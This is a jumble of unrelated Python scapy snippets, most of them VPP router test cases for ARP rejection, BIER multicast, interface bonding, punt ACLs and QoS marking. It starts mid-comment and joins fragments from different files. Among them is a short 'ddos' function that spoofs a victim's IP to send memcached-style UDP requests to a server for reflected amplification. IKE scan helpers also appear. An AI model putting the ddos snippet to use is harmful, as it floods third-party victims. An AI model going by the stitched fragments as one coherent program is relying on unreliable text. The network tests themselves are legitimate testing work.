an ARP entry that's not on the sub-net and so whose # adj-fib fails the refinement check. then send an ARP request # from that source # a1 = VppNeighbor(self, self.pg0.sw_if_index, self.pg0.remote_mac, "100.100.100.50") a1.add_vpp_config() p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, psrc="100.100.100.50", pdst=self.pg0.remote_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for from failed adj-fib") # # ERROR Cases # 1 - don't respond to ARP request for address not within the # interface's sub-net # 1b - nor within the unnumbered subnet # 1c - nor within the subnet of a different interface # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, pdst="10.10.10.3", psrc=self.pg0.remote_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local destination") self.assertFalse(find_nbr(self, self.pg0.sw_if_index, "10.10.10.3")) p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst="10.10.10.3", psrc=self.pg1.remote_hosts[7].ip4)) self.send_and_assert_no_replies( self.pg0, p, "ARP req for non-local destination - unnum") p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg1.remote_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req diff sub-net") self.assertFalse(find_nbr(self, self.pg0.sw_if_index, self.pg1.remote_ip4)) # # 2 - don't respond to ARP request from an address not within the # interface's sub-net # 2b - to a prxied address # 2c - not within a differents interface's sub-net p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, psrc="10.10.10.3", pdst=self.pg0.local_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local source") p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, psrc="10.10.10.3", pdst=self.pg0.local_ip4)) self.send_and_assert_no_replies( self.pg0, p, "ARP req for non-local source - unnum") p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, psrc=self.pg1.remote_ip4, pdst=self.pg0.local_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local source 2c") # # 3 - don't respond to ARP request from an address that belongs to # the router # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, psrc=self.pg0.local_ip4, pdst=self.pg0.local_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local source") # # 4 - don't respond to ARP requests that has mac source different # from ARP request HW source # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc="00:00:00:DE:AD:BE", psrc=self.pg0.remote_ip4, pdst=self.pg0.local_ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local source") # # 5 - don't respond to ARP requests for address within the # interface's sub-net but not the interface's address # self.pg0.generate_remote_hosts(2) p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwsrc=self.pg0.remote_mac, psrc=self.pg0.remote_hosts[0].ip4, pdst=self.pg0.remote_hosts[1].ip4)) self.send_and_assert_no_replies(self.pg0, p, "ARP req for non-local destination") # # cleanup # dyn_arp.remove_vpp_config() static_arp.remove_vpp_config() self.pg2.unset_unnumbered(self.pg1.sw_if_index) # need this to flush the adj-fibs self.pg2.unset_unnumbered(self.pg1.sw_if_index) self.pg2.admin_down() self.pg1.admin_down()
def bier_e2e(self, hdr_len_id, n_bytes, max_bp): """BIER end-to-end""" MRouteItfFlags = VppEnum.vl_api_mfib_itf_flags_t MRouteEntryFlags = VppEnum.vl_api_mfib_entry_flags_t # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(0, 0, hdr_len_id) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() lowest = [b"\0"] * (n_bytes) lowest[-1] = scapy.compat.chb(1) highest = [b"\0"] * (n_bytes) highest[0] = scapy.compat.chb(128) # # Impostion Sets bit strings # bi_low = VppBierImp(self, bti, 333, lowest) bi_low.add_vpp_config() bi_high = VppBierImp(self, bti, 334, highest) bi_high.add_vpp_config() # # Add a multicast route that will forward into the BIER doamin # route_ing_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_ACCEPT), VppMRoutePath( 0xFFFFFFFF, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, type=FibPathType.FIB_PATH_TYPE_BIER_IMP, bier_imp=bi_low.bi_index, ), ], ) route_ing_232_1_1_1.add_vpp_config() route_ing_232_1_1_2 = VppIpMRoute( self, "0.0.0.0", "232.1.1.2", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_ACCEPT), VppMRoutePath( 0xFFFFFFFF, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, type=FibPathType.FIB_PATH_TYPE_BIER_IMP, bier_imp=bi_high.bi_index, ), ], ) route_ing_232_1_1_2.add_vpp_config() # # disposition table 8 # bdt = VppBierDispTable(self, 8) bdt.add_vpp_config() # # BIER routes in table that are for-us, resolving through # disp table 8. # bier_route_1 = VppBierRoute( self, bti, 1, [ VppRoutePath( "0.0.0.0", 0xFFFFFFFF, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, nh_table_id=8, ) ], ) bier_route_1.add_vpp_config() bier_route_max = VppBierRoute( self, bti, max_bp, [ VppRoutePath( "0.0.0.0", 0xFFFFFFFF, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, nh_table_id=8, ) ], ) bier_route_max.add_vpp_config() # # An entry in the disposition table for sender 333 # lookup in VRF 10 # bier_de_1 = VppBierDispEntry( self, bdt.id, 333, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, FibPathProto.FIB_PATH_NH_PROTO_BIER, "0.0.0.0", 10, rpf_id=8192, ) bier_de_1.add_vpp_config() bier_de_1 = VppBierDispEntry( self, bdt.id, 334, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, FibPathProto.FIB_PATH_NH_PROTO_BIER, "0.0.0.0", 10, rpf_id=8193, ) bier_de_1.add_vpp_config() # # Add a multicast routes that will forward the traffic # post-disposition # route_eg_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, table_id=10, paths=[ VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD) ], ) route_eg_232_1_1_1.add_vpp_config() route_eg_232_1_1_1.update_rpf_id(8192) route_eg_232_1_1_2 = VppIpMRoute( self, "0.0.0.0", "232.1.1.2", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, table_id=10, paths=[ VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD) ], ) route_eg_232_1_1_2.add_vpp_config() route_eg_232_1_1_2.update_rpf_id(8193) # # inject a packet in VRF-0. We expect it to be BIER encapped, # replicated, then hit the disposition and be forwarded # out of VRF 10, i.e. on pg1 # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234) / Raw(scapy.compat.chb(5) * 32)) rx = self.send_and_expect(self.pg0, p * NUM_PKTS, self.pg1) self.assertEqual(rx[0][IP].src, "1.1.1.1") self.assertEqual(rx[0][IP].dst, "232.1.1.1") p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.2") / UDP(sport=1234, dport=1234) / Raw(scapy.compat.chb(5) * 512)) rx = self.send_and_expect(self.pg0, p * NUM_PKTS, self.pg1) self.assertEqual(rx[0][IP].src, "1.1.1.1") self.assertEqual(rx[0][IP].dst, "232.1.1.2")
def test_bond_traffic(self): """ Bond traffic test """ # topology # # RX-> TX-> # # pg2 ------+ +------pg0 (slave) # | | # BondEthernet0 (10.10.10.1) # | | # pg3 ------+ +------pg1 (slave) # # create interface (BondEthernet0) # self.logger.info("create bond") bond0_mac = "02:fe:38:30:59:3c" mac = MACAddress(bond0_mac).packed bond0 = VppBondInterface(self, mode=3, lb=1, numa_only=0, use_custom_mac=1, mac_address=mac) bond0.add_vpp_config() bond0.admin_up() self.vapi.sw_interface_add_del_address( sw_if_index=bond0.sw_if_index, prefix=VppIpPrefix("10.10.10.1", 24).encode()) self.pg2.config_ip4() self.pg2.resolve_arp() self.pg3.config_ip4() self.pg3.resolve_arp() self.logger.info(self.vapi.cli("show interface")) self.logger.info(self.vapi.cli("show interface address")) self.logger.info(self.vapi.cli("show ip arp")) # enslave pg0 and pg1 to BondEthernet0 self.logger.info("bond enslave interface pg0 to BondEthernet0") bond0.enslave_vpp_bond_interface(sw_if_index=self.pg0.sw_if_index) self.logger.info("bond enslave interface pg1 to BondEthernet0") bond0.enslave_vpp_bond_interface(sw_if_index=self.pg1.sw_if_index) # verify both slaves in BondEthernet0 if_dump = self.vapi.sw_interface_slave_dump(bond0.sw_if_index) self.assertTrue(self.pg0.is_interface_config_in_dump(if_dump)) self.assertTrue(self.pg1.is_interface_config_in_dump(if_dump)) # generate a packet from pg2 -> BondEthernet0 -> pg1 # BondEthernet0 TX hashes this packet to pg1 p2 = (Ether(src=bond0_mac, dst=self.pg2.local_mac) / IP(src=self.pg2.local_ip4, dst="10.10.10.12") / UDP(sport=1235, dport=1235) / Raw('\xa5' * 100)) self.pg2.add_stream(p2) # generate a packet from pg3 -> BondEthernet0 -> pg0 # BondEthernet0 TX hashes this packet to pg0 # notice the ip address and ports are different than p2 packet p3 = (Ether(src=bond0_mac, dst=self.pg3.local_mac) / IP(src=self.pg3.local_ip4, dst="10.10.10.11") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.pg3.add_stream(p3) self.pg_enable_capture(self.pg_interfaces) # set up the static arp entries pointing to the BondEthernet0 interface # so that it does not try to resolve the ip address self.logger.info(self.vapi.cli( "set ip arp static BondEthernet0 10.10.10.12 abcd.abcd.0002")) self.logger.info(self.vapi.cli( "set ip arp static BondEthernet0 10.10.10.11 abcd.abcd.0004")) # clear the interface counters self.logger.info(self.vapi.cli("clear interfaces")) self.pg_start() self.logger.info("check the interface counters") # verify counters # BondEthernet0 tx bytes = 284 intfs = self.vapi.cli("show interface BondEthernet0").split("\n") found = 0 for intf in intfs: if "tx bytes" in intf and "284" in intf: found = 1 self.assertEqual(found, 1) # BondEthernet0 tx bytes = 284 intfs = self.vapi.cli("show interface BondEthernet0").split("\n") found = 0 for intf in intfs: if "tx bytes" in intf and "284" in intf: found = 1 self.assertEqual(found, 1) # pg2 rx bytes = 142 intfs = self.vapi.cli("show interface pg2").split("\n") found = 0 for intf in intfs: if "rx bytes" in intf and "142" in intf: found = 1 self.assertEqual(found, 1) # pg3 rx bytes = 142 intfs = self.vapi.cli("show interface pg3").split("\n") found = 0 for intf in intfs: if "rx bytes" in intf and "142" in intf: found = 1 self.assertEqual(found, 1) bond0.remove_vpp_config()
def test_bier_tail_o_udp(self): """BIER Tail over UDP""" MRouteItfFlags = VppEnum.vl_api_mfib_itf_flags_t MRouteEntryFlags = VppEnum.vl_api_mfib_entry_flags_t # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(1, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, MPLS_LABEL_INVALID) bt.add_vpp_config() # # disposition table # bdt = VppBierDispTable(self, 8) bdt.add_vpp_config() # # BIER route in table that's for-us # bier_route_1 = VppBierRoute( self, bti, 1, [ VppRoutePath( "0.0.0.0", 0xFFFFFFFF, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, nh_table_id=8, ) ], ) bier_route_1.add_vpp_config() # # An entry in the disposition table # bier_de_1 = VppBierDispEntry( self, bdt.id, 99, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, FibPathProto.FIB_PATH_NH_PROTO_BIER, "0.0.0.0", 0, rpf_id=8192, ) bier_de_1.add_vpp_config() # # A multicast route to forward post BIER disposition # route_eg_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD) ], ) route_eg_232_1_1_1.add_vpp_config() route_eg_232_1_1_1.update_rpf_id(8192) # # A packet with all bits set gets spat out to BP:1 # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg0.local_ip4) / UDP(sport=333, dport=8138) / BIFT(sd=1, set=0, bsl=2, ttl=255) / BIER( length=BIERLength.BIER_LEN_256, BitString=scapy.compat.chb(255) * 32, BFRID=99, ) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234) / Raw()) rx = self.send_and_expect(self.pg0, [p], self.pg1)
def ikescan(ip): return sr( IP(dst=ip) / UDP() / ISAKMP(init_cookie=RandString(8), exch_type=2) / ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()))
def getIPv4Flow(self, id): return (IP(dst="90.0.%u.%u" % (id / 255, id % 255), src="40.0.%u.%u" % (id / 255, id % 255)) / UDP(sport=10000 + id, dport=20000))
def ikev2scan(ip, **kwargs): """Send a IKEv2 SA to an IP and wait for answers.""" return sr( IP(dst=ip) / UDP() / IKEv2(init_SPI=RandString(8), exch_type=34) / IKEv2_payload_SA(prop=IKEv2_payload_Proposal()), **kwargs)
""" Date: 2022.04.21 14:23:20 LastEditors: Rustle Karl LastEditTime: 2022.04.21 14:44:37 """ from scapy.layers.inet import IP, ICMP, sr1, raw # 回显 icmp = IP(dst="192.168.4.1") / ICMP() # 时间戳的请求应答格式 icmp = IP(dst="192.168.4.1") / ICMP(type=13) icmp.show() icmp.summary() # 发送和接收数据包 timestamp_reply = sr1(icmp) raw(icmp).hex()
def create_ip_pkts(self, src_ip=None, dst_ip=None, tran_l_proto="UDP", pkt_len=None, src_port=None, dst_port=None, cnt=100, inter=0.01): # If src_ip is named in 'machines', use its corresponding ip and mac addr # Else if src_ip written in octet format, use it and random mac addr # Else randomly select from machnes given along with mac #-------------------------------------- # SRC IP, MAC, PORT #-------------------------------------- if src_ip == None: # Select key at random machine_name = random.choice(list(machines.keys())) src = machines[machine_name]['ip'] # Select random mac src_mac = self.rand_mac() elif src_ip in machines: src = machines[src_ip]['ip'] src_mac = machines[src_ip]['mac'] if src_port == None: src_port = machines[src_ip]['port'] else: # Custom IP src = src_ip # Random mac src_mac = self.rand_mac() if src_port == None: src_port = self.random_port() else: src_port = int(src_port) print(src, src_mac, src_port) #-------------------------------------- # DST IP, MAC, PORT #-------------------------------------- if dst_ip == None: # Select key at random machine_name = random.choice(list(machines.keys())) dst = machines[machine_name]['ip'] # Select random mac dst_mac = self.rand_mac() elif dst_ip in machines: dst = machines[dst_ip]['ip'] dst_mac = machines[dst_ip]['mac'] if dst_port == None: dst_port = machines[dst_ip]['port'] else: # Custom IP dst = dst_ip # Random mac dst_mac = self.rand_mac() if dst_port == None: dst_port = self.random_port() else: dst_port = int(dst_port) print(dst, dst_mac, dst_port) #-------------------------------------- # LENGTH, Protocol #-------------------------------------- if pkt_len is None: pkt_len = random.randint(1, PKT_MAX_LEN) load = os.urandom(int(pkt_len)) #-------------------------------------- # Packet gerneration #-------------------------------------- pkt = None if tran_l_proto == "UDP": pkt = Ether(dst=dst_mac, src=src_mac, type=ETHER_TYPES['IPv4'])/\ IP(dst=dst, src=src,)/\ UDP(dport=dst_port, sport=src_port)/\ Raw(load=load) #print(len(load)) pkt.show2() else: # TCP pkt = Ether(dst=dst_mac, src=src_mac, type=ETHER_TYPES['IPv4'])/\ IP(dst=dst, src=src,)/\ TCP(dport=dst_port, sport=src_port)/\ Raw(load=load) #print(len(load)) pkt.show2() return pkt
def ddos(self, target_ip): data = "\x00\x01\x00\x00\x00\x01\x00\x00get " + self.var_name + "\r\n" ip = IP(src=target_ip, dst=self.serverip) sendp(Ether() / ip / UDP(dport=self.port) / data)
def test_bier_head(self): """BIER head""" # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(0, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() # # 2 bit positions via two next hops # nh1 = "10.0.0.1" nh2 = "10.0.0.2" ip_route_1 = VppIpRoute(self, nh1, 32, [ VppRoutePath( self.pg1.remote_ip4, self.pg1.sw_if_index, labels=[2001]) ]) ip_route_2 = VppIpRoute(self, nh2, 32, [ VppRoutePath( self.pg1.remote_ip4, self.pg1.sw_if_index, labels=[2002]) ]) ip_route_1.add_vpp_config() ip_route_2.add_vpp_config() bier_route_1 = VppBierRoute(self, bti, 1, nh1, 101) bier_route_2 = VppBierRoute(self, bti, 2, nh2, 102) bier_route_1.add_vpp_config() bier_route_2.add_vpp_config() # # An imposition object with both bit-positions set # bi = VppBierImp(self, bti, 333, chr(0x3) * 32) bi.add_vpp_config() # # Add a multicast route that will forward into the BIER doamin # route_ing_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_ITF_FLAG_ACCEPT), VppMRoutePath(0xffffffff, MRouteItfFlags.MFIB_ITF_FLAG_FORWARD, proto=DpoProto.DPO_PROTO_BIER, bier_imp=bi.bi_index) ]) route_ing_232_1_1_1.add_vpp_config() # # inject a packet an IP. We expect it to be BIER encapped, # replicated. # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234)) self.pg0.add_stream([p]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(2)
def test_punt_udp(self): """ IPv4/UDP protocol punt ACL test Test scenario for basic punt ACL with UDP protocol - Create IPv4 stream for pg0 -> pg1 interface. - Create punt ACL with UDP IP protocol. - Send and verify received packets on pg1 interface. """ sport = 6754 dport = 17923 key = 'ip4_udp_punt' self.create_classify_table( key, self.build_ip_mask(src_ip='ffffffff', proto='ff', src_port='ffff')) table_index = self.acl_tbl_idx.get(key) self.vapi.punt_acl_add_del(ip4_table_index=table_index) self.acl_active_table = key # punt udp packets to dport received on pg0 through pg1 self.vapi.set_punt( is_add=1, punt={ 'type': VppEnum.vl_api_punt_type_t.PUNT_API_TYPE_L4, 'punt': { 'l4': { 'af': VppEnum.vl_api_address_family_t.ADDRESS_IP4, 'protocol': VppEnum.vl_api_ip_proto_t.IP_API_PROTO_UDP, 'port': dport, } } }) self.vapi.ip_punt_redirect( punt={ 'rx_sw_if_index': self.pg0.sw_if_index, 'tx_sw_if_index': self.pg1.sw_if_index, 'nh': self.pg1.remote_ip4, }) pkts = [(Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg0.local_ip4) / UDP(sport=sport, dport=dport) / Raw('\x17' * 100))] * 2 # allow a session but not matching the stream: expect to drop self.create_classify_session( table_index, self.build_ip_match(src_ip=self.pg0.remote_ip4, proto=socket.IPPROTO_UDP, src_port=sport + 10)) self.send_and_assert_no_replies(self.pg0, pkts) # allow a session matching the stream: expect to pass self.create_classify_session( table_index, self.build_ip_match(src_ip=self.pg0.remote_ip4, proto=socket.IPPROTO_UDP, src_port=sport)) self.send_and_expect_only(self.pg0, pkts, self.pg1) # cleanup self.acl_active_table = '' self.vapi.punt_acl_add_del(ip4_table_index=table_index, is_add=0)
def test_qos_vlan(self): """QoS mark/record VLAN """ # # QoS for all input values # output = [chr(0)] * 256 for i in range(0, 255): output[i] = chr(255 - i) os = ''.join(output) rows = [{ 'outputs': os }, { 'outputs': os }, { 'outputs': os }, { 'outputs': os }] self.vapi.qos_egress_map_update(1, rows) sub_if = VppDot1QSubint(self, self.pg0, 11) sub_if.admin_up() sub_if.config_ip4() sub_if.resolve_arp() sub_if.config_ip6() sub_if.resolve_ndp() # # enable VLAN QoS recording/marking on the input Pg0 subinterface and # self.vapi.qos_record_enable_disable(sub_if.sw_if_index, QOS_SOURCE.VLAN, 1) self.vapi.qos_mark_enable_disable(sub_if.sw_if_index, QOS_SOURCE.VLAN, 1, 1) # # IP marking/recording on pg1 # self.vapi.qos_record_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 1) self.vapi.qos_mark_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 1, 1) # # a routes to/from sub-interface # route_10_0_0_1 = VppIpRoute( self, "10.0.0.1", 32, [VppRoutePath(sub_if.remote_ip4, sub_if.sw_if_index)]) route_10_0_0_1.add_vpp_config() route_10_0_0_2 = VppIpRoute( self, "10.0.0.2", 32, [VppRoutePath(self.pg1.remote_ip4, self.pg1.sw_if_index)]) route_10_0_0_2.add_vpp_config() route_2001_1 = VppIpRoute( self, "2001::1", 128, [ VppRoutePath(sub_if.remote_ip6, sub_if.sw_if_index, proto=DpoProto.DPO_PROTO_IP6) ], is_ip6=1) route_2001_1.add_vpp_config() route_2001_2 = VppIpRoute( self, "2001::2", 128, [ VppRoutePath(self.pg1.remote_ip6, self.pg1.sw_if_index, proto=DpoProto.DPO_PROTO_IP6) ], is_ip6=1) route_2001_2.add_vpp_config() p_v1 = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / Dot1Q(vlan=11, prio=1) / IP(src="1.1.1.1", dst="10.0.0.2", tos=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) p_v2 = (Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) / IP(src="1.1.1.1", dst="10.0.0.1", tos=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) rx = self.send_and_expect(self.pg1, p_v2 * 65, self.pg0) for p in rx: self.assertEqual(p[Dot1Q].prio, 6) rx = self.send_and_expect(self.pg0, p_v1 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 254) p_v1 = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / Dot1Q(vlan=11, prio=2) / IPv6(src="2001::1", dst="2001::2", tc=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) p_v2 = (Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) / IPv6(src="3001::1", dst="2001::1", tc=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) rx = self.send_and_expect(self.pg1, p_v2 * 65, self.pg0) for p in rx: self.assertEqual(p[Dot1Q].prio, 6) rx = self.send_and_expect(self.pg0, p_v1 * 65, self.pg1) for p in rx: self.assertEqual(p[IPv6].tc, 253) # # cleanup # sub_if.unconfig_ip4() sub_if.unconfig_ip6() self.vapi.qos_record_enable_disable(sub_if.sw_if_index, QOS_SOURCE.VLAN, 0) self.vapi.qos_mark_enable_disable(sub_if.sw_if_index, QOS_SOURCE.VLAN, 1, 0) self.vapi.qos_record_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 0) self.vapi.qos_mark_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 1, 0)